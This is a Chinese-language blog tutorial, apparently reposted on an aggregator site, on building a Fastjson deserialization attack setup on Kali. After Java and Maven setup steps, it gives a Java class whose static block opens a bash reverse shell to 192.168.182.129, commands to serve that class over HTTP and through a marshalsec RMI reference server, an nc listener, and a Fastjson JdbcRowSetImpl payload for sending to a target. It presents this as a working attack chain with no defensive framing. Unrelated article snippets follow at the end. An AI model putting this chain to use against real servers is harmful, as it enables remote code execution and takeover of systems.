java版本共存与fastjson反序列化rmi服务器的搭建

文章目录

  • java 8下载
  • 远程加载类工具
  • 编译工具mvn
  • 多版本共存
  • 配置mvn
  • 编译marshalsec
  • 编译rce文件
  • 利用marshalsec加载远程RCE类

java 8下载

链接:https://pan.baidu.com/s/1B8U9v8QAe4Vc67Q84_nqcg?pwd=0000
提取码:0000

远程加载类工具

https://github.com/mbechler/marshalsec.git

编译工具mvn

链接:https://pan.baidu.com/s/1Sqo_YkcBIK7mBiY-1ZoRYw?pwd=0000
提取码:0000

多版本共存

启动kail 将java8解压至/usr/local/java中方便管理

mkdir /usr/local/java
tar -zxvf dk-8u202-linux-x64.tar.gz -C  /usr/local/java这里的参数意义如下:-z 表示使用gzip进行解压缩。
-x 表示执行解压操作。
-v 代表在解压过程中显示详细的信息,可以看到正在解压的文件名。
-f 后面跟上需要解压的文件名,这里就是你的.tar.gz文件。
-C 解压到指定路径

改个名字

cd /usr/local/java
mv jdk1.8.0_202 jdk1.8.0

解压好进行配置
在文件/etc/profile尾部添加变量
vim /etc/profile
点键盘i键进行编辑

export JAVA_HOME=/usr/local/java/jdk1.8.0export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarexport PATH=.:$ZOOKEEPER_HOME/bin:$JAVA_HOME/bin:$PATH

添加完成后点esc键输入wq进行保存

使用使配置文件生效

source /etc/profile

生效之后使用命令完成jdk版本共存

sudo update-alternatives --install /usr/bin/java java /usr/local/java/jdk1.8.0/bin/java 1500

使用来切换版本

sudo update-alternatives --config java

在这里插入图片描述
这样就成功了
在这里插入图片描述

配置mvn

默认的Linux是没有编译命令的我们需要自己搭建
将Apache Maven解压到/opt目录下
/opt目录主要用于存放第三方应用程序或者非系统自带的软件包

tar -zxvf apache-maven-3.9.6-bin.tar.gz -C /opt 

解压完成后进行配置系统变量编辑 /etc/profile

vim /etc/profile

输入i将变量添加到末尾

export M2_HOME=/opt/apache-maven-3.6.3
export PATH=$PATH:$M2_HOME/bin

esc 输入wq保存
使用命令生效配置文件

source /etc/profile

检查是否安装完成

mvn -version

但是我改了之后不可以用不知道为什么

编译marshalsec

cd 到marshalsec文件夹进行编译

mvn clean package -DskipTests

在这里插入图片描述
他会哗哗哗下一堆东西
在这里插入图片描述
这样就说明编译好了看一眼我们的jar包就打好了
在这里插入图片描述

编译rce文件

返回主目录新建一个文件夹为fastjson_payload的文件夹

mkdir fastjson_payload

完成后创建java文件

vim rce.java

进行编辑下面代码,记得修改bash shell的ip及nc开放的端口

import java.lang.Runtime;
import java.lang.Process;public class Rce {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.182.129/10002 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

创建好后进行编译

javac Rce.java

如果提示没有javac进行一下命令安装重新编译

apt install default-jdk

利用marshalsec加载远程RCE类

编译完成后
在此页面开启一个网页服务

python -m http.server  8082

测试一下能否正常访问
在这里插入图片描述
可以看到能够正常访问到我们的class文件
好了接下来回到我们的marshalsec文件夹开启我们的rmi服务

cd github/marshalsec-rmi
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.182.129:8082/#Rce" 10003

意思就是开放一个marshalsec监听端口10003包含的远程加载类为我们刚刚那个文件夹下的class文件
在这里插入图片描述
新建窗口开启nc监听

nc -lvvp 10002

完成之后根据对方的fastjson版本构造payload
例:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.182.129:8082/Rce","autoCommit":true}}

将payload上传至数据包即可反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/5355.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Cesium 3dTileset 支持 uv 和 纹理贴图

原理: 使用自定义shader实现uv自动计算 贴图效果: uv效果:

(Microsoft SQL Server,错误: 233)

错误信息: A connection was successfully established with the server, but then an error occurred during the pre-login handshake. (provider: Shared Memory Provider, error: 0 - 管道的另一端上无任何进程。) (Microsoft SQL Server,错误: 233) 原因&…

vue 设置输入框只能输入数字且只能输入小数点后两位,并且不能输入减号

<el-input v-model.trim"sb.price" placeholder"现价" class"input_w3" oninput"valuevalue.replace(/[^0-9.]/g,).replace(/\.{2,}/g,.).replace(/^(\-)*(\d)\.(\d\d).*$/,$1$2.$3)"/> 嘎嘎简单、、、、、、、、、

自定义之道:学习 Java 中如何打磨独特的异常

哈喽&#xff0c;各位小伙伴们&#xff0c;你们好呀&#xff0c;我是喵手。 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流&#xff0c;互相学习&#xff0c;一个人虽可以走的更快&#xff0c;但一群人可以走的更远。 我是一名后…

智能科技的飞跃:LLAMA3引领的人工智能新时代

大家好&#xff01;相信大家对于AI&#xff08;人工智能&#xff09;的发展已经有了一定的了解&#xff0c;但你是否意识到&#xff0c;到了2024年&#xff0c;AI已经变得如此强大和普及&#xff0c;带来了我们从未想象过的便利和创新呢&#xff1f;让我们一起来看看AI在这个时…

3D看车有哪些强大的功能?适合哪些企业使用?

3D看车是一种创新的汽车展示方式&#xff0c;它提供了许多强大的功能&#xff0c;特别适合汽车行业的企业使用。 3D看车可实现哪些功能&#xff1f; 1、细节展示&#xff1a; 51建模网提供全套汽车行业3D数字化解决方案&#xff0c;3D看车能够将汽车展示得更加栩栩如生&…

maven聚合,继承等方式

需要install安装到本地仓库&#xff0c;或者私服&#xff0c;方可使用自己封装项目 编译&#xff0c;测试&#xff0c;打包&#xff0c;安装&#xff0c;发布 parent: <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://mav…

Open CASCADE学习|BRepFill_SectionPlacement

BRepFill_SectionPlacement 是一个与计算机辅助设计&#xff08;CAD&#xff09;相关的术语&#xff0c;通常用于指代一个几何对象或操作&#xff0c;它是Open CASCADE Technology&#xff08;OCCT&#xff09;中的一个类。Open CASCADE Technology是一个开源的CAD内核&#xf…

在AndroidStudio创建Flutter项目并运行到模拟器

1.Flutter简介 Flutter是Google开源的构建用户界面&#xff08;UI&#xff09;工具包&#xff0c;帮助开发者通过一套代码库高效构建多平台精美应用&#xff0c;支持移动、Web、桌面和嵌入式平台。Flutter 开源、免费&#xff0c;拥有宽松的开源协议&#xff0c;适合商…

Centos7 安装Git、使用

Centos7 安装Git 一、安装步骤1.1 查看版本1.2 卸载1.3 安装 二、创建仓库2.1 新增仓库2.2 新增配置项 三、管理文件3.1 文件创建3.2 文件修改、add、commit3.3 tree结构探索 四、分支4.1 创建分支&#xff1a;4.2 查看分支4.3 切换分支4.4 删除分支4.5 合并冲突 一、安装步骤 …

运行DeepSORT_YOLOv5_Pytorch时出现的问题

文章目录 前言问题1&#xff1a;Loaderyaml.FullLoader问题2&#xff1a;utils. -> yolov5.utils.问题3&#xff1a;np.float -> float问题4&#xff1a;np.int -> int问题5&#xff1a;ImportError: cannot import name time_synchronized from yolov5.utils.torch_u…

TCP协议关于速率的优化机制-滑动窗口详解

在上一章中&#xff0c;我们讲述了TCP协议在传输过程中的可靠性http://t.csdnimg.cn/BsImO&#xff0c;这里衔接上一篇文章继续讲&#xff0c;TCP协议的特性&#xff0c;TCP协议写完之后就写&#xff0c;Http和Https等内容吧 1. 滑动窗口 这里的滑动窗口不是指算法里面的双指…

30天拿下Rust之图形编程

概述 Rust语言以其卓越的安全性、性能和可靠性赢得了广大开发者的青睐&#xff0c;逐渐在系统编程、网络服务、游戏开发等领域崭露头角。随着Rust生态的日益繁荣&#xff0c;图形编程领域也涌现出一批优秀的框架和库&#xff0c;使得用Rust进行高效、安全的图形应用开发成为可能…

QT学习之QtXlsx

背景&#xff1a; 本来我是想提取xml中的信息存在xlsx文件中的&#xff0c;网上很多说是使用QtXlsx&#xff1b; 于是我找了一些帖&#xff0c; 像&#xff1a;https://www.cnblogs.com/liming19680104/p/14398459.html&#xff1b; 大家的说法都是安装第三方库到QT中&#xff…

ECharts在网页中添加可视化图标-在网页中添加交互图表+option模块案列详解

一、引言 ECharts 是一个使用 JavaScript 编写的开源可视化库&#xff0c;它可以在浏览器中生成交互式的图表。无论是折线图、柱状图、散点图还是饼图&#xff0c;ECharts 都能轻松应对。本文将带领大家了解如何在网页中添加 ECharts 可视化图标。 本章可以直接跳到第五点完整…

EOCR-SS-05W电子式过电流继电器 0.5-6A 施耐德韩国三和

三和EOCR株式会社是韩国的电动机保护器生产企业&#xff0c;公司由金仁锡博士&#xff08;施耐德电气集团韩国执行官&#xff09;于1981年建立。 2001年&#xff0c;为了把企业发展成性的、战略性企业&#xff0c;随后加入了法国施耐德电气集团公司。 EOCR主要产品有电子式电…

JAVA相关面试题分享

Java 基础知识 1.1 面向对象的特征&#xff08;了解&#xff09; 面向对象的特征&#xff1a;封装、继承、多态、抽象。 封装&#xff1a;就是把对象的属性和行为&#xff08;数据&#xff09;结合为一个独立的整体&#xff0c;并尽可能隐藏对 象的内部实现细节&#xff0c;就…

Android手势识别面试问题及回答

问题 1: 如何在Android中实现基本的手势识别&#xff1f; 答案: 在Android中&#xff0c;可以通过使用GestureDetector类来实现基本的手势识别。首先需要创建一个GestureDetector的实例&#xff0c;并实现GestureDetector.OnGestureListener接口来响应各种手势事件&#xff0c…

【百度Apollo】探索自动驾驶:Apollo 新版本 Beta 全新的Dreamview+,便捷灵活更丰富

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《linux深造日志》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 文章目录 引入一、Dreamview介绍二、Dreamview 新特性2.1、基于模式的多场景——流程更简洁地图视角调节&#xff1a;调试流…

自动驾驶系统中的端到端学习

资料下载-《自动驾驶系统中的端到端学习&#xff08;2020&#xff09;》https://mp.weixin.qq.com/s/ttNpsn7qyVWvDMZzluU_pA 近年来&#xff0c;卷积神经网络显著提高了视觉感知能力。实现这一成功的两个主要因素是将简单的模块组合成复杂的网络和端到端的优化。然而&#xf…